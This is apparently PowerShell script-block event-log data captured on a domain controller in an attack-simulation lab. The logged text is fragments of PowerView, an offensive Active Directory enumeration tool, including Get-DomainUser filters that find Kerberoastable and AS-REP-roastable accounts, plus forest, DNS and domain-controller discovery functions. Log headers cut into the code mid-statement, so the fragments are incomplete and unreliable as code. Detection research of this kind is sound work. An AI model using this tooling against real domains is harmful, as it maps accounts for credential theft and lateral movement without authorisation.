-----------------
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
.INPUTS
String
.OUTPUTS
PowerView.User
Custom PSObject with translated user property fields.
PowerView.User.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[Switch]
$SPN,
[Switch]
$AdminCount,
[Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
$AllowDelegation,
[Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
$DisallowDelegation,
[Switch]
$TrustedToAuth,
[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
[Switch]
$PreauthNotRequired,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
if (-not $UserSearcher) {
Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$UserName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$UserName)"
$SearcherArguments['Domain'] = $UserDomain
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['SPN']) {
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
}
if ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['PreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
else { $Results = $UserSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$User = $_
$User.PSac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111927Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1048r -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
}
$Parts = $ForestSid -Split '-'
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
$ForestObject
}
}
}
function Get-ForestDomain {
<#
.SYNOPSIS
Return all domains for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all domains for the current forest or the forest specified
by -Forest X.
.PARAMETER Forest
Specifies the forest name to query for domains.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target forest.
.EXAMPLE
Get-ForestDomain
.EXAMPLE
Get-ForestDomain -Forest external.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestDomain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.Domains
}
}
}
function Get-ForestGlobalCatalog {
<#
.SYNOPSIS
Return all global catalogs for the current (or specified) forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Returns all global catalogs for the current forest or the forest specified
by -Forest X by using Get-Forest to retrieve the specified forest object
and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
.PARAMETER Forest
Specifies the forest name to query for global catalogs.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestGlobalCatalog
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestGlobalCatalog -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.GlobalCatalog
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
$ForestObject.FindAllGlobalCatalogs()
}
}
}
function Get-ForestSchemaClass {
<#
.SYNOPSIS
Helper that returns the Active Directory schema classes for the current
(or specified) forest or returns just the schema class specified by
-ClassName X.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
Uses Get-Forest to retrieve the current (or specified) forest. By default,
the .FindAllClasses() method is executed, returning a collection of
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
result for the specified class name is returned.
.PARAMETER ClassName
Specifies a ActiveDirectorySchemaClass name in the found schema to return.
.PARAMETER Forest
The forest to query for the schema, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestSchemaClass
Returns all domain schema classes for the current forest.
.EXAMPLE
Get-ForestSchemaClass -Forest dev.testlab.local
Returns all domain schema classes for the external.local forest.
.EXAMPLE
Get-ForestSchemaClass -ClassName user -Forest external.local
Returns the user schema class for the external.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
Returns the user schema class for the external.local domain using
the specified alternate credentials.
.OUTPUTS
[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
An ActiveDirectorySchemaClass returned from the found schema.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[Alias('Class')]
[ValidateNotNullOrEmpty()]
[String[]]
$ClassName,
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$Arguments = @{}
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
$ForestObject = Get-Forest @Arguments
if ($ForestObject) {
if ($PSBoundParameters['ClassName']) {
ForEach ($TargetClass in $ClassName) {
$ForestObject.Schema.FindClass($TargetClass)
}
}
else {
$ForestObject.Schema.FindAllClasses()
}
}
}
}
function Find-DomainObjectPropertyOutlier {
<#
.SYNOPSIS
Finds user/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
.DESCRIPTION
A 'reference' set of property names is calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject. Every user/group/computer object
(depending on determined class) are enumerated, and for each object, if the object has a
'non-standard' property set (meaning a property not held by the reference set), the object's
samAccountName, property name, and property value are output to the pipeline.
.PARAMETER ClassName
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
If -ReferenceObject is specified, this will be automatically extracted, if possible.
.PARAMETER ReferencePropertySet
Specifies an array of property names to diff against the class schema.
.PARAMETER ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'User'
Enumerates users in the current domain with 'outlier' properties filled in.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
.EXAMPLE
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
Enumerates computers in the current domain with 'outlier' properties filled in.
.OUTPUTS
PowerView.PropertyOutlier
Custom PSObject with translated object property outliers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.PropertyOutlier')]
[CmdletBinding(DefaultParameterSetName = 'ClassName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
[Alias('Class')]
[ValidateSet('User', 'Group', 'Computer')]
[String]
$ClassName,
[ValidateNotNullOrEmpty()]
[String[]]
$ReferencePropertySet,
[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
[PSCustomObject]
$ReferenceObject,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
# Domain / Credential
if ($PSBoundParameters['Domain']) {
if ($PSBoundParameters['Credential']) {
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
else {
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
}
$SchemaArguments = @{}
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
if ($TargetForest) {
$SchemaArguments['Forest'] = $TargetForest
}
}
PROCESS {
if ($PSBoundParameters['ReferencePropertySet']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
$ReferenceObjectProperties = $ReferencePropertySet
}
elseif ($PSBoundParameters['ReferenceObject']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
}
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
$Objects = Get-DomainUser @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $UserReferencePropertySet
}
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $GroupReferencePropertySet
}
}
elseif (($ClassName -eq 'Comac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111926Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local948y -Properties $_.Properties
$Out | Add-Member NoteProperty 'ZoneName' $Out.name
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
$Out
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"
}
}
}
catch {
Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'"
}
$DNSSearcher2.dispose()
}
}
}
function Get-DomainDNSRecord {
<#
.SYNOPSIS
Enumerates the Active Directory DNS records for a given zone.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord
.DESCRIPTION
Given a specific Active Directory DNS zone name, query for all 'dnsNode'
LDAP entries using that zone as the search base. Return all DNS entry results
and use Convert-DNSRecord to try to convert the binary DNS record blobs.
.PARAMETER ZoneName
Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).
.PARAMETER Domain
The domain to query for zones, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainDNSRecord -ZoneName testlab.local
Retrieve all records for the testlab.local zone.
.EXAMPLE
Get-DomainDNSZone | Get-DomainDNSRecord
Retrieve all records for all zones in the current domain.
.EXAMPLE
Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local
Retrieve all records for all zones in the dev.testlab.local domain.
.OUTPUTS
PowerView.DNSRecord
Outputs custom PSObjects with detailed information about the DNS record entry.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DNSRecord')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String]
$ZoneName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$SearcherArguments = @{
'LDAPFilter' = '(objectClass=dnsNode)'
'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DNSSearcher = Get-DomainSearcher @SearcherArguments
if ($DNSSearcher) {
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
else { $Results = $DNSSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
try {
$Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
$Out | Add-Member NoteProperty 'ZoneName' $ZoneName
# convert the record and extract the properties
if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
# TODO: handle multiple nested records properly?
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
}
else {
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
}
if ($Record) {
$Record.PSObject.Properties | ForEach-Object {
$Out | Add-Member NoteProperty $_.Name $_.Value
}
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
$Out
}
catch {
Write-Warning "[Get-DomainDNSRecord] Error: $_"
$Out
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
}
}
$DNSSearcher.dispose()
}
}
}
function Get-Domain {
<#
.SYNOPSIS
Returns the domain object for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
Specifies the domain name to query for, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-Domain -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-Domain -Credential $Cred
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
A complex .NET domain object.
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
if ($PSBoundParameters['Domain']) {
$TargetDomain = $Domain
}
else {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
}
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
}
}
elseif ($PSBoundParameters['Domain']) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
}
}
else {
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
catch {
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
}
}
}
}
function Get-DomainController {
<#
.SYNOPSIS
Return the domain controllers for the current (or specified) domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-Domain
.DESCRIPTION
Enumerates the domain controllers for the current or specified domain.
By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
to search for domain controllers.
.PARAMETER Domain
The domain to query for domain controllers, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER LDAP
Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainController -Domain 'test.local'
Determine the domain controllers for 'test.local'.
.EXAMPLE
Get-DomainController -Domain 'test.local' -LDAP
Determine the domain controllers for 'test.local' using LDAP queries.
.EXAMPLE
'test.local' | Get-DomainController
Determine the domain controllers for 'test.local'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainController -Credential $Cred
.OUTPUTS
PowerView.Computer
Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
System.DirectoryServices.ActiveDirectory.DomainController
If -LDAP isn't specified.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Computer')]
